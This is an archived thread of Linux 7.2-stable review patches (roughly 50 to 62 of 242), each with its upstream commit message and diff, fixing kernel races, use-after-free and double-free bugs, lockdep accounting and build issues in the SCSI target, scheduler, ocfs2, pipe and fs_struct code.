In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yu Zhang <[email protected]>
[ Upstream commit 04a67a8b1a4460345d22fe75d93430cbf7e651d7 ]
target_do_delayed_work() takes dev->delayed_cmd_lock with a plain spin_lock(). It runs from system_percpu_wq, so interrupts stay enabled while the lock is held. Every other acquisition of that lock uses spin_lock_irqsave(): target_handle_task_attr() and transport_complete_ordered_sync() in target_core_transport.c, and target_non_ordered_release() in target_core_device.c.
That was safe while every caller of transport_complete_task_attr() ran in process context: target_complete_ok_work() from target_completion_wq, transport_complete_qf() from dev->qf_work_queue, and transport_generic_request_failure() from the submit and execute paths.
Since commit 06933066d88a ("scsi: target: Add support for completing commands from backend context") that is no longer true. With complete_type=1 on a fabric that sets direct_compl_supp, target_complete() runs target_complete_ok_work() inline in the backend's completion context, which target_complete_cmd_with_sense() documents as "May be called from interrupt context". For iblock that is the bio end_io.
target_complete_ok_work() starts with transport_complete_task_attr(), which takes delayed_cmd_lock in two ways:
- Every ORDERED command is put on dev->delayed_cmd_list by target_handle_task_attr() and dispatched from there by target_do_delayed_work(), which marks it SCF_TASK_ORDERED_SYNC. Its completion therefore goes through transport_complete_ordered_sync().
- A SIMPLE command that completes while an ORDERED command is pending drops the last reference to the killed dev->non_ordered, and percpu_ref_put() then runs target_non_ordered_release() in the completing context.
Both take the lock and, if commands are waiting, call schedule_work(&dev->delayed_cmd_work), which queues on system_percpu_wq, i.e. on the CPU that took the completion. Further completions for the same queue are typically delivered there too, so one arriving while the work holds the lock spins on it forever.
Reaching this needs complete_type=1, which is not the default (vhost-scsi, the only fabric with direct_compl_supp, defaults to TARGET_QUEUE_COMPL), a backend whose I/O completes from interrupt context, and ORDERED commands from the initiator. Linux virtio_scsi guests send only VIRTIO_SCSI_S_SIMPLE and never take the ordered path; any guest that uses the ORDERED task attribute, which vhost-scsi accepts, does.
target_do_delayed_work() is a work item and always runs in process context, so spin_lock_irq() is sufficient.
Found by inspection; no runtime report. A single ORDERED command goes through both acquisitions, so with CONFIG_PROVE_LOCKING the first one completed through direct completion should produce an inconsistent lock state report on delayed_cmd_lock (hardirq or softirq, depending on where the backend completes).
--- drivers/target/target_core_transport.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
drivers/target/target_core_transport.c +4 -4
@@ -2359,7 +2359,7 @@ void target_do_delayed_work(struct work_struct *work) struct se_device *dev = container_of(work, struct se_device, delayed_cmd_work); -spin_lock (&dev->delayed_cmd_lock); +spin_lock_irq (&dev->delayed_cmd_lock);while (!dev->ordered_sync_in_progress) {struct se_cmd *cmd;
@@ -2380,12 +2380,12 @@ void target_do_delayed_work(struct work_struct *work) dev->ordered_sync_in_progress = true;list_del (&cmd->se_delayed_node); -spin_unlock (&dev->delayed_cmd_lock); +spin_unlock_irq (&dev->delayed_cmd_lock);__target_execute_cmd (cmd, true); -spin_lock (&dev->delayed_cmd_lock); +spin_lock_irq (&dev->delayed_cmd_lock); } -spin_unlock (&dev->delayed_cmd_lock); +spin_unlock_irq (&dev->delayed_cmd_lock); }static void transport_complete_ordered_sync (struct se_cmd *cmd)
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 51/242 scsi: target: iscsi: Fix race in discovery auth updates
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Linfeng Sun <[email protected]>
[ Upstream commit e15b81f602edbdee39c335546f25486a1747f3f0 ]
Separate configfs opens can concurrently update the discovery AuthMethod parameter. Both callers may free the same value in iscsi_update_param_value(), causing a double-free.
Protect the lookup and replacement with the discovery TPG access lock, as used by the other TPG configfs parameter updates.
--- drivers/target/iscsi/iscsi_target_configfs.c | 26 ++++++++++++++------ 1 file changed, 19 insertions(+), 7 deletions(-)
drivers/target/iscsi/iscsi_target_configfs.c +19 -7
@@ -1306,17 +1306,24 @@ static ssize_t iscsi_disc_enforce_discovery_auth_store(struct config_item *item,return -EINVAL ; } +if (iscsit_get_tpg (discovery_tpg) <0 ) +return -EINVAL ; + param =iscsi_find_param_from_key (AUTHMETHOD , discovery_tpg->param_list); -if (!param) -return -EINVAL ; +if (!param) { + err = -EINVAL ; + goto out; + }if (op) {/* * Reset the AuthMethod key to CHAP. */ -if (iscsi_update_param_value (param,CHAP ) <0 ) -return -EINVAL ; +if (iscsi_update_param_value (param,CHAP ) <0 ) { + err = -EINVAL ; + goto out; + } discovery_tpg->tpg_attrib.authentication =1 ; iscsit_global->discovery_acl.node_auth.enforce_discovery_auth =1 ;
@@ -1327,8 +1334,10 @@ static ssize_t iscsi_disc_enforce_discovery_auth_store(struct config_item *item,/* * Reset the AuthMethod key to CHAP,None */ -if (iscsi_update_param_value (param,"CHAP,None" ) <0 ) -return -EINVAL ; +if (iscsi_update_param_value (param,"CHAP,None" ) <0 ) { + err = -EINVAL ; + goto out; + } discovery_tpg->tpg_attrib.authentication =0 ; iscsit_global->discovery_acl.node_auth.enforce_discovery_auth =0 ;
@@ -1337,7 +1346,10 @@ static ssize_t iscsi_disc_enforce_discovery_auth_store(struct config_item *item, " Discovery TPG\n"); } -return count; + err = count; +out: +iscsit_put_tpg (discovery_tpg); +return err; }CONFIGFS_ATTR (iscsi_disc_, enforce_discovery_auth);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 52/242 sched/core: Call wakeup_preempt() for queued tasks during class change
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: K Prateek Nayak <[email protected]>
[ Upstream commit 118a2cf4ced60777a2408001e2b4838fed1cea55 ]
Paul reported recent RCU changes exposed a lost resched where CPU idles with a rcutorture thread waiting while being completely runnable.
Dumping the rq state at the time of idling with runnable tasks showed the following:
rq->next_class = &fair_sched_class
rq->nr_running = 1
rq->cfs.h_nr_queued = 0
rq->rt.rt_nr_running = 1
Although the waiting task was an RT task, "rq->next_class" did not point to rt_sched_class and was stuck at the lower priority fair_sched_class.
Inspecting sched_change_end() revealed the following race with __sched_setscheduler() for queued, but non-running tasks:
CPU0 CPU1
==== ==== __schedule()
/*
* rq->donor is a fair task that blocks.
* rq->next_class = &fair_sched_class
*/
rq_lock(rq0)
pick_next_task()
/* nr_running = 0 */
pick_task_fair()
sched_balance_newidle()
raw_spin_rq_unlock(rq0)
rq_lock(rq0)
activate_task(rq0, p)
/* p is a fair task */
rq0->nr_running++;
rq0->cfs.h_nr_queued++;
wakeup_preempt(rq, p)
rq->next_class = &fair_sched_class
resched_curr()
rq_unlock(rq0)
__sched_setscheduler(p)
/* p is moved to SCHED_RR */
task_rq_lock(p)
sched_change_begin()
rq0->cfs.h_nr_queued--;
rq0->rt.rt_nr_running++;
sched_change_end()
/*
* p->on_rq = 1 (ctx->queued)
* but p is not rq->donor
* (!ctx->running) hence
* resched_curr() is and
* rq->next_class upgrade is
* skipped.
*/
task_rq_unlock()
raw_spin_rq_lock(rq0)
/*
* rq->nr_running = 1
* rq->cfs.h_nr_queued = 0
* rq->rt.rt_nr_running = 1
* rq->next_class = &fair_sched_class
*/
if (rq->cfs.h_nr_queued && ...)
/* Above is false */
if (rq_modified_above(this_rq, &fair_sched_class))
/* Also false since rq->next_class is still fair */
/*
* sched_balance_newidle() is considered to
* have failed to pull any fair tasks and no
* other wakeups were detected.
*/
return NULL; /* pick_task_fair() */
pick_task_idle()
return rq->idle;
next = rq->idle;
/* Preemption indicators are lost */
clear_tsk_need_resched(prev);
clear_preempt_need_resched();
rq->curr = rq->idle; !!! rq->idle switches in with rq->running == 1 but !need_resched() !!!
In simple words, enqueue, followed by a class change of the newly queued task goes unnoticed in rq->next_class indicator and sched_balance_newidle() sees no fair task, nor any higher priority task enqueued.
The above sequence will lead to CPU idling with a runnable task on the CPU.
Call wakeup_preempt() for ctx->queued cases in sched_change_end() to re-evaluate rq->next_class after class change (ENQUEUE_CLASS) and set the NEED_RESCHED indicator accordingly.
Newidle balance will correctly see an enqueue of a higher priority task if a queued task was upgraded when the rq_lock() was dropped and will retry the pick.
--- kernel/sched/core.c | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-)
kernel/sched/core.c +9 -10
@@ -11323,17 +11323,16 @@ void sched_change_end(struct sched_change_ctx *ctx)if (p->sched_class->switched_to) p->sched_class->switched_to (rq, p); +/* +* Check if the task can preempt the current in case the class +* was upgraded. Note that none of the switch*_from() methods +* know the new class and none of the switch*_to() methods know +* the old class so we must resched here. +*/ +if (ctx->queued) +wakeup_preempt (rq, p,0 ); +if (ctx->running) { -/* -* If this was a class promotion; let the old class -* know it got preempted. Note that none of the -* switch*_from() methods know the new class and none -* of the switch*_to() methods know the old class. -*/ -if (sched_class_above (p->sched_class, ctx->class)) { - rq->next_class->wakeup_preempt (rq, p,0 ); - rq->next_class = p->sched_class; - }/* * If this was a degradation in class; make sure to * reschedule.
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 53/242 entry: Account the deferred hrtimer rearm as hardirq context for lockdep
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mikhail Gavrilov <[email protected]>
[ Upstream commit 7cbaa0f4579f48e92639c6abb761fdef8fbade47 ]
On a desktop debug kernel (PROVE_LOCKING, KASAN, LOCKDEP_CHAINS_BITS=19) lockdep switches itself off after about two days of uptime with "BUG: MAX_LOCKDEP_CHAIN_HLOCKS too low!", and locking is not validated until the next reboot. In the last such boot the pool ran out after 46.6 hours, and a fifth of it, 533509 of 2621431 chain hlocks in 63838 of 344717 chains, had been created by the deferred hrtimer rearm on return from interrupt.
Make lockdep account that rearm as part of the timer interrupt it belongs to.
Commit 15dd3a948855
("hrtimer: Push reprogramming timers into the interrupt return path") moved the reprogramming of the clock event device out of the timer interrupt into the interrupt return path. On return to kernel mode irqentry_exit_to_kernel_mode_after_preempt() performs it after irq_exit_rcu() has already left lockdep's hardirq context. lockdep therefore records hrtimer_bases.lock and the timekeeper sequence count as taken by the interrupted context, on top of the locks that context holds, and every distinct held-lock stack an interrupt hits adds two lock chains. When the rearm runs from irq_enter_rcu() or __irq_exit_rcu() it is still inside lockdep's hardirq context, and there the same acquisitions reuse one pair of chains.
The dependencies recorded on the return path are "lock held with interrupts enabled -> hrtimer_bases.lock". Such a lock is hardirq-unsafe and hrtimer_bases.lock is hardirq-safe, so a path in the reverse direction is already reported by the irq-safety checks without these edges.
Re-enter lockdep's hardirq context around the rearm on the kernel return path. The return to user mode path holds no locks and is left alone, as is the rearm in __schedule(), which runs under the runqueue lock.
With the same kernel tree, configuration and workload, one hour of uptime including a full kernel build, the chains of this shape, with hrtimer_bases.lock and optionally the timekeeper sequence count on top of a held-lock stack outside the scheduler, go from 13266 (96187 chain hlocks, 15.9% of those in use) to 4. Those 4 come from clock_was_set(), which takes cpus_read_lock() and each CPU's hrtimer_bases.lock and reads the clock under it.
--- include/linux/irq-entry-common.h | 23 +++++++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-)
include/linux/irq-entry-common.h +21 -2
@@ -468,6 +468,25 @@ static inline void irqentry_exit_to_kernel_mode_preempt(struct pt_regs *regs,irqentry_exit_cond_resched (); } +/* +* The deferred hrtimer rearm is the tail of the timer interrupt, moved to the +* interrupt return path so that it runs after a possible reschedule. By now +* irq_exit_rcu() has left lockdep's hardirq context. Re-enter it for the +* rearm, so that the hrtimer base lock and the timekeeping sequence count are +* not chained onto the locks held by the interrupted context, which would add +* new lock chains for every lock stack an interrupt hits. +* +* The rearm on return to user mode needs no such annotation: no locks are +* held there, so it uses the same lock chains as the rearm in hardirq +* context. +*/ +static __always_inline void irqentry_hrtimer_rearm_deferred(void) +{ +lockdep_hardirq_enter (); +hrtimer_rearm_deferred (); +lockdep_hardirq_exit (); +} +/** * irqentry_exit_to_kernel_mode_after_preempt - Establish trace, lockdep and RCU state * @regs: Pointer to current's pt_regs
@@ -491,7 +510,7 @@ irqentry_exit_to_kernel_mode_after_preempt(struct pt_regs *regs, irqentry_state_*/ if (state.exit_rcu) {instrumentation_begin (); -hrtimer_rearm_deferred (); +irqentry_hrtimer_rearm_deferred ();/* Tell the tracer that IRET will enable interrupts */ trace_hardirqs_on_prepare ();lockdep_hardirqs_on_prepare ();
@@ -502,7 +521,7 @@ irqentry_exit_to_kernel_mode_after_preempt(struct pt_regs *regs, irqentry_state_ }instrumentation_begin (); -hrtimer_rearm_deferred (); +irqentry_hrtimer_rearm_deferred ();/* Covers both tracing and lockdep */ trace_hardirqs_on ();instrumentation_end ();
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 54/242 iommupt/kunit: Use if_changed_rule for the kunit
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jason Gunthorpe <[email protected]>
[ Upstream commit 4bcfe29021993cb167fd9bbdb849f7d7247a166f ]
Use if_changed_rule so rule_cc_o_c runs cmd_save_c_flags for the kunit objects. Without the saved flags CONFIG_LTO_CLANG_THIN_DIST runs the ThinLTO backend with no --target and generates x86_64 code from arm64 bitcode.
--- drivers/iommu/generic_pt/fmt/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/iommu/generic_pt/fmt/Makefile +1 -1
@@ -25,6 +25,6 @@ $(eval $(foreach fmt,$(iommu_pt_fmt-m),$(call create_format,$(fmt),m))) # with -DGENERIC_PT_KUNIT $(obj)/kunit_iommu_%.o: $(src)/iommu_%.c FORCE $(call rule_mkdir) - $(call if_changed_dep,cc_o_c) + $(call if_changed_rule,cc_o_c) obj-$(CONFIG_IOMMU_PT_KUNIT_TEST) += $(IOMMU_PT_KUNIT_TEST)
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 55/242 drm/panthor: fix immortalis condition
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Erik Faye-Lund <[email protected]>
[ Upstream commit c347fef5f8f8927985bd67835331ce4cf7ff43a4 ]
Exactly 10 cores is also valid for an Immortalis configuration, according to the public documentation:
https://support.arm.com/compute-ip/immortalis-g715
So let's report this G715 with 10 cores as Immortalis as well, as long as it supports the ray-intersection feature. This matches what we do for more recent GPUs as well.
--- drivers/gpu/drm/panthor/panthor_hw.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/gpu/drm/panthor/panthor_hw.c +1 -1
@@ -136,7 +136,7 @@ static char *get_gpu_model_name(struct panthor_device *ptdev)case GPU_PROD_ID_MAKE (10 ,7 ):return "Mali-G610" ;case GPU_PROD_ID_MAKE (11 ,2 ): -if (shader_core_count >10 && ray_intersection) +if (shader_core_count >=10 && ray_intersection)return "Mali-G715-Immortalis" ;else if (shader_core_count >=7 )return "Mali-G715" ;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 56/242 ocfs2/dlm: Protect the recovery list during debugfs reads
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Cen Zhang <[email protected]>
[ Upstream commit 4c435828932bf46f29860e4a0375bcae101b778a ]
Recovery participant records must remain alive while debug_state_print() walks reco.node_data and formats their fields. The formatter holds dlm->spinlock, but the recovery participant list is protected by dlm_reco_state_lock. In particular, dlm_destroy_recovery_area() detaches the list under dlm_reco_state_lock and frees the detached records after releasing it. A concurrent debugfs open can therefore read freed memory.
Protect the participant traversal and field reads in debug_state_print() with dlm_reco_state_lock, matching the existing list writers. This also serializes the traversal against list_add_tail() during recovery-area initialization. Make the existing lock available to the debug code through dlmcommon.h; the lock remains internal to the OCFS2 DLM module.
Release dlm->spinlock after formatting the other domain state and before acquiring dlm_reco_state_lock, so the debug reader does not nest the two locks. Leave recovery list insertion, detachment and freeing unchanged.
KASAN report as below:
BUG: KASAN: slab-use-after-free in debug_state_open+0x1169/0x12d0
Read of size 4 at addr ffff88810662ef80 by task dlm-state-stres/896
CPU: 1 UID: 0 PID: 896 Comm: dlm-state-stres Not tainted 7.3.0-rc4-next-20260921-pmb-ocfs2-functional-v1+ #1 PREEMPT(lazy)
Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0x93/0xd0
print_report+0xce/0x630
? debug_state_open+0x1169/0x12d0
? srso_alias_return_thunk+0x5/0xfbef5
? __virt_addr_valid+0x20e/0x420
? debug_state_open+0x1169/0x12d0
kasan_report+0xe0/0x110
? debug_state_open+0x1169/0x12d0
debug_state_open+0x1169/0x12d0
? __pfx_debug_state_open+0x10/0x10
full_proxy_open_regular+0x193/0x310
do_dentry_open+0x595/0x12d0
? __pfx_full_proxy_open_regular+0x10/0x10
vfs_open_consume+0xd1/0x400
? srso_alias_return_thunk+0x5/0xfbef5
path_openat+0x18d0/0x2020
? __pfx_path_openat+0x10/0x10
do_file_open+0x21e/0x470
? __pfx_do_file_open+0x10/0x10
? _raw_spin_unlock+0x23/0x40
? srso_alias_return_thunk+0x5/0xfbef5
? alloc_fd+0x3a6/0x6b0
do_sys_openat2+0xf4/0x1b0
? __pfx_do_sys_openat2+0x10/0x10
? srso_alias_return_thunk+0x5/0xfbef5
? __fput+0x5b5/0xa60
__x64_sys_openat+0x136/0x1e0
? __pfx___x64_sys_openat+0x10/0x10
do_syscall_64+0x114/0x620
entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Register dump omitted.]
</TASK>
Allocated by task 880:
kasan_save_stack+0x33/0x60
kasan_save_track+0x14/0x30
__kasan_kmalloc+0xaa/0xb0
__kmalloc_cache_noprof+0x28d/0x610
dlm_remaster_locks+0x147/0x1d90
dlm_do_recovery+0xde1/0x1580
dlm_recovery_thread+0x109/0x300
kthread+0x351/0x460
ret_from_fork+0x659/0x940
ret_from_fork_asm+0x1a/0x30
Freed by task 880:
kasan_save_stack+0x33/0x60
kasan_save_track+0x14/0x30
kasan_save_free_info+0x3b/0x60
__kasan_slab_free+0x5f/0x80
kfree+0x308/0x580
dlm_destroy_recovery_area+0x285/0x460
dlm_remaster_locks+0x17c4/0x1d90
dlm_do_recovery+0xde1/0x1580
dlm_recovery_thread+0x109/0x300
kthread+0x351/0x460
ret_from_fork+0x659/0x940
ret_from_fork_asm+0x1a/0x30
The buggy address belongs to the object at ffff88810662ef80
which belongs to the cache kmalloc-32 of size 32
The buggy address is located 0 bytes inside of
freed 32-byte region [ffff88810662ef80, ffff88810662efa0)[Page and memory-state dumps omitted.]
--- fs/ocfs2/dlm/dlmcommon.h | 2 ++ fs/ocfs2/dlm/dlmdebug.c | 5 ++++- fs/ocfs2/dlm/dlmrecovery.c | 2 +- 3 files changed, 7 insertions(+), 2 deletions(-)
fs/ocfs2/dlm/dlmcommon.h +2 -0
@@ -435,6 +435,8 @@ enum { DLM_DEREF_LOCKRES_DONE = 522, }; +extern spinlock_t dlm_reco_state_lock; +struct dlm_reco_node_data {int state;
fs/ocfs2/dlm/dlmdebug.c +4 -1
@@ -736,8 +736,11 @@ static int debug_state_print(struct dlm_ctxt *dlm, char *buf, int len) buf + out, len - out); out +=scnprintf (buf + out, len - out,"\n" ); +spin_unlock (&dlm->spinlock); +/* Recovery Node State: */ out +=scnprintf (buf + out, len - out,"Recovery Node State:\n" ); +spin_lock (&dlm_reco_state_lock);list_for_each_entry (node, &dlm->reco.node_data, list) {switch (node->state) {case DLM_RECO_NODE_DATA_INIT :
@@ -769,7 +772,7 @@ static int debug_state_print(struct dlm_ctxt *dlm, char *buf, int len) node->node_num, state); } -spin_unlock (&dlm->spinlock); +spin_unlock (&dlm_reco_state_lock);return out; }
fs/ocfs2/dlm/dlmrecovery.c +1 -1
@@ -80,7 +80,7 @@ static int dlm_lockres_master_requery(struct dlm_ctxt *dlm,static u64 dlm_get_next_mig_cookie (void ); -static DEFINE_SPINLOCK (dlm_reco_state_lock); +DEFINE_SPINLOCK (dlm_reco_state_lock);static DEFINE_SPINLOCK (dlm_mig_cookie_lock);static u64 dlm_mig_cookie =1 ;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 57/242 samples: pidfd: fix userprogs typo
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
[ Upstream commit f1365f97fb7498d805981102eee22d362ae643f2 ]
The Makefile adds pidfd-metadata to "usertprogs-always-y", which kbuild does not know, so the sample has not been built since the conversion to userprogs, even with CONFIG_SAMPLE_PIDFD=y.
Fix the variable name. pidfd-metadata.c builds without warnings with gcc and clang for x86_64 and arm64.
--- samples/pidfd/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
samples/pidfd/Makefile +1 -1
@@ -1,4 +1,4 @@ # SPDX-License-Identifier: GPL-2.0 -usertprogs-always-y += pidfd-metadata +userprogs-always-y += pidfd-metadata userccflags += -I usr/include
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 58/242 exit: fix lost-update race on the child_subreaper bitfields
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Nickolai Zeldovich <[email protected]>
[ Upstream commit 28d2905d77bc2e7c20260a6bc6b4179bdf95cb06 ]
is_child_subreaper, has_child_subreaper, autoreap and, with CONFIG_POSIX_TIMERS=y, timer_create_restore_ids are 1-bit fields that share one memory location in struct signal_struct. A store to any of them is a read-modify-write of the whole word, and three of the stores run without a common lock:
- PR_SET_CHILD_SUBREAPER writes me->signal->is_child_subreaper with no lock held.
- propagate_has_child_subreaper(), run by walk_process_tree() from the same prctl in an ancestor, writes p->signal->has_child_subreaper of every descendant p under read_lock(&tasklist_lock), which does not exclude the other writers.
- PR_TIMER_CREATE_RESTORE_IDS writes
current->signal->timer_create_restore_ids with no lock held.
When a process calls prctl(PR_SET_CHILD_SUBREAPER, 1) while an ancestor's PR_SET_CHILD_SUBREAPER walk visits it, or while another thread of the same process calls prctl(PR_TIMER_CREATE_RESTORE_IDS), the read-modify-write sequences interleave and one of the bits is silently lost:
- If has_child_subreaper is lost, the process's orphaned descendants are reparented straight to init when it exits: find_new_reaper() tests father->signal->has_child_subreaper first and never looks for the ancestor subreaper. The service manager that registered as the subreaper never gets SIGCHLD for them and cannot wait() on them.
- If is_child_subreaper is lost, the prctl returned 0 but the process is not a subreaper: orphans of its descendants skip it and are reparented to the next subreaper up or to init. PR_GET_CHILD_SUBREAPER reads back 0.
- If timer_create_restore_ids is lost, the prctl returned 0 but timer_create() does not restore the requested timer ids (or keeps restoring them after _OFF), and _GET reads back the old value.
Documentation/memory-barriers.txt requires all fields of one bitfield to be protected by one lock for exactly this reason. No lock is taken or documented for these flags, and the prctls need no privilege, so any process can hit the race against its own ancestors or descendants, or between two of its own threads.
Make is_child_subreaper and has_child_subreaper separate bool members. Each store then has its own memory location and no read-modify-write of a neighbour. The readers and their locking are unchanged.
autoreap stays a bit-field and so shares a memory location only with timer_create_restore_ids. That pair is race-free: autoreap is stored exactly once, in copy_process() before the new signal_struct is reachable by any other task, and timer_create_restore_ids is only stored to the signal_struct of an already running process.
--- include/linux/sched/signal.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
include/linux/sched/signal.h +2 -2
@@ -130,8 +130,8 @@ struct signal_struct {* process will inherit a flag if they should look for a * child_subreaper process at exit. */ - unsigned int is_child_subreaper:1; - unsigned int has_child_subreaper:1; +bool is_child_subreaper; +bool has_child_subreaper; unsigned int autoreap:1;#ifdef CONFIG_POSIX_TIMERS
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 59/242 pipe: preserve existing fasync readers on writer setup failure
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <[email protected]>
[ Upstream commit 40bb03d3ea6f6a915218508819ecc4d7a7fa260d ]
F_SETFL and FIOASYNC decide whether to invoke ->fasync() before pipe_fasync() takes pipe->mutex. Two enables of one O_RDWR FIFO can therefore both enter the callback.
fasync_helper() allocates before checking for an existing entry. If the first enable installs both entries, a second enable can update the reader entry and then fail the allocation for the writer entry. The error path removes the pre-existing reader entry, clearing FASYNC while the writer entry remains registered. __fput() then skips ->fasync(), so a later pipe notification can dereference the freed file or its f_owner. An unprivileged memory-pressure reproducer triggers a KASAN slab-use-after-free in send_sigio() through this path.
Keep the reader helper's result and undo the registration only if this call added it. The pipe mutex serializes changes to both lists, so a failed new registration still removes its reader, while a failed duplicate preserves the existing registrations and FASYNC. Successful duplicate enables continue to update fa_fd as before.
--- fs/pipe.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
fs/pipe.c +4 -2
@@ -853,9 +853,11 @@ pipe_fasync(int fd, struct file *filp, int on)if (filp->f_mode &FMODE_READ ) retval =fasync_helper (fd, filp, on, &pipe->fasync_readers);if ((filp->f_mode &FMODE_WRITE ) && retval >=0 ) { +int read_ret = retval; + retval =fasync_helper (fd, filp, on, &pipe->fasync_writers); -if (retval <0 && (filp->f_mode &FMODE_READ )) -/* this can happen only if on == T */ +/* Undo only a reader entry added by this call. */ +if (retval <0 && read_ret >0 )fasync_helper (-1 , filp,0 , &pipe->fasync_readers); }mutex_unlock (&pipe->mutex);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 60/242 fs: add switch_fs_struct()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
[ Upstream commit 21bcea3ef2025796a29ba88f2747d864ed535758 ]
Don't open-code the guts of replacing current's fs struct.
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
--- fs/fs_struct.c | 18 ++++++++++++++++++ include/linux/fs_struct.h | 2 ++ kernel/fork.c | 22 ++++++---------------- 3 files changed, 26 insertions(+), 16 deletions(-)
fs/fs_struct.c +18 -0
@@ -147,6 +147,24 @@ int unshare_fs_struct(void) }EXPORT_SYMBOL_GPL (unshare_fs_struct); +struct fs_struct *switch_fs_struct (struct fs_struct *new_fs) +{ +struct fs_struct *fs; + + scoped_guard(task_lock, current) { + fs = current->fs; +read_seqlock_excl (&fs->seq); + current->fs = new_fs; +if (--fs->users) + new_fs =NULL ; +else + new_fs = fs; +read_sequnlock_excl (&fs->seq); + } + +return new_fs; +} +/* to be mentioned only in INIT_TASK */ struct fs_struct init_fs = { .users =1 ,
include/linux/fs_struct.h +2 -0
@@ -40,6 +40,8 @@ static inline void get_fs_pwd(struct fs_struct *fs, struct path *pwd)read_sequnlock_excl (&fs->seq); } +struct fs_struct *switch_fs_struct (struct fs_struct *new_fs); +extern bool current_chrooted (void );static inline int current_umask (void )
kernel/fork.c +6 -16
@@ -3220,7 +3220,7 @@ static int unshare_fd(unsigned long unshare_flags, struct files_struct **new_fdp*/ int ksys_unshare (unsigned long unshare_flags) { -struct fs_struct *fs, *new_fs =NULL ; +struct fs_struct *new_fs =NULL ;struct files_struct *new_fd =NULL ;struct cred *new_cred =NULL ;struct nsproxy *new_nsproxy =NULL ;
@@ -3298,23 +3298,13 @@ int ksys_unshare(unsigned long unshare_flags) new_nsproxy =NULL ; } -task_lock (current); +if (new_fs) + new_fs =switch_fs_struct (new_fs); -if (new_fs) { - fs = current->fs; -read_seqlock_excl (&fs->seq); - current->fs = new_fs; -if (--fs->users) - new_fs =NULL ; -else - new_fs = fs; -read_sequnlock_excl (&fs->seq); - } - -if (new_fd) +if (new_fd) { +guard (task_lock)(current);swap (current->files, new_fd); - -task_unlock (current); + }if (new_cred) {/* Install the new user namespace */
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 61/242 fs: notice when init abandons fs sharing
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
[ Upstream commit d114eb8577bd8d6c307ab0a096ae7df93fb7e011 ]
PID 1 may choose to stop sharing fs_struct state with us. Either via unshare(CLONE_FS) or unshare(CLONE_NEWNS). Of course, PID 1 could have chosen to create arbitrary process trees that all share fs_struct state via CLONE_FS. This is a strong statement: We only care about PID 1 aka the thread-group leader so subthread's fs_struct state doesn't matter.
PID 1 unsharing fs_struct state is a bug. PID 1 relies on various kthreads to be able to perform work based on its fs_struct state. Breaking that contract sucks for both sides. So just don't bother with extra work for this. No sane init system should ever do this.
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
--- fs/fs_struct.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+)
fs/fs_struct.c +25 -0
@@ -147,6 +147,30 @@ int unshare_fs_struct(void) }EXPORT_SYMBOL_GPL (unshare_fs_struct); +/* +* PID 1 may choose to stop sharing fs_struct state with us. +* Either via unshare(CLONE_FS) or unshare(CLONE_NEWNS). Of +* course, PID 1 could have chosen to create arbitrary process +* trees that all share fs_struct state via CLONE_FS. This is a +* strong statement: We only care about PID 1 aka the thread-group +* leader so subthread's fs_struct state doesn't matter. +* +* PID 1 unsharing fs_struct state is a bug. PID 1 relies on +* various kthreads to be able to perform work based on its +* fs_struct state. Breaking that contract sucks for both sides. +* So just don't bother with extra work for this. No sane init +* system should ever do this. +*/ +static inline void validate_fs_switch (struct fs_struct *old_fs) +{ +if (likely (current->pid !=1 )) +return ; +/* @old_fs may be dangling but for comparison it's fine */ +if (old_fs != &init_fs) +return ; +pr_warn ("VFS: Pid 1 stopped sharing filesystem state\n" ); +} +struct fs_struct *switch_fs_struct (struct fs_struct *new_fs) {struct fs_struct *fs;
@@ -162,6 +186,7 @@ struct fs_struct *switch_fs_struct(struct fs_struct *new_fs)read_sequnlock_excl (&fs->seq); } +validate_fs_switch (fs);return new_fs; }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 62/242 fs: add scoped_with_init_fs()
